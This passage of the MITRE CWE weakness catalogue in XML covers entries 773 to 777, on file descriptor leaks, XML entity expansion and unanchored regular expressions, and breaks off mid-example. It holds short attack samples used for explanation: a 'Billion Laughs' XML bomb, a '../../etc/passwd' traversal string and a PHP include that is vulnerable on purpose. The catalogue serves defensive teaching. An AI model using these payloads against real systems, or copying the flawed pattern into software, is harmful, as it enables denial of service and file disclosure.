					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="773" Name="Missing Reference to Active File Descriptor or Handle" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.</Description>
         <Extended_Description>This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="771" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to Release Resource</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="774" Name="Allocation of File Descriptors or Handles Without Limits or Throttling" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.</Description>
         <Extended_Description>This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="770" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>File Descriptor Exhaustion</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP13</Entry_ID>
               <Entry_Name>Unrestricted Consumption</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;Resource Limits&#34;, Page 574"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="775" Name="Missing Release of File Descriptor or Handle after Effective Lifetime" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.</Description>
         <Extended_Description>When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="772" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0897</Reference>
               <Description>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0897</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to Release Resource</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;File Descriptor Leaks&#34;, Page 582"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="776" Name="Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.</Description>
         <Extended_Description>If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="674" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="674" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="XML" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>XEE</Term>
               <Description>XEE is the acronym commonly used for XML Entity Expansion.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Billion Laughs Attack</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>XML Bomb</Term>
               <Description>While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-53">
               <Intro_Text>The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.</Intro_Text>
               <Example_Code Nature="Attack" Language="XML">
                  <xhtml:div>&lt;?xml version="1.0"?&gt;<xhtml:br/>&lt;!DOCTYPE MaliciousDTD [<xhtml:br/>&lt;!ENTITY ZERO "A"&gt;<xhtml:br/>&lt;!ENTITY ONE "&amp;ZERO;&amp;ZERO;"&gt;<xhtml:br/>&lt;!ENTITY TWO "&amp;ONE;&amp;ONE;"&gt;<xhtml:br/>...<xhtml:br/>&lt;!ENTITY THIRTYTWO "&amp;THIRTYONE;&amp;THIRTYONE;"&gt;<xhtml:br/>]&gt;<xhtml:br/>&lt;data&gt;&amp;THIRTYTWO;&lt;/data&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-3281</Reference>
               <Description>XEE in XML-parsing library.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3281</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-3288</Reference>
               <Description>XML bomb / XEE in enterprise communication product.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-3288</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1755</Reference>
               <Description>"Billion laughs" attack in XMPP server daemon.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1755</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1955</Reference>
               <Description>XML bomb in web server module</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1955</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1564</Reference>
               <Description>Parsing library allows XML bomb</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1564</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>44</Entry_ID>
               <Entry_Name>XML Entity Expansion</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="197"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-676"/>
            <Reference External_Reference_ID="REF-677"/>
            <Reference External_Reference_ID="REF-678"/>
            <Reference External_Reference_ID="REF-679"/>
            <Reference External_Reference_ID="REF-680"/>
            <Reference External_Reference_ID="REF-500"/>
            <Reference External_Reference_ID="REF-682"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-06-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Description, Name, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-02-21">Unrestricted Recursive Entity References in DTDs ('XML Bomb')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="777" Name="Regular Expression without Anchors" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.</Description>
         <Extended_Description>When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="625" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Background_Details>
            <Background_Detail>Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$dir = "/home/cwe/languages";<xhtml:br/>$lang = $_GET['lang'];<xhtml:br/>if (preg_match("/[A-Za-z0-9]+/", $lang)) {<xhtml:div style="margin-left:1em;">include("$dir/$lang");</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">echo "You shall not pass!\n";</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-154">
	      <Intro_Text>This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.</Intro_Text>
	      <Example_Code Nature="bad" Language="Python">
		<xhtml:div>
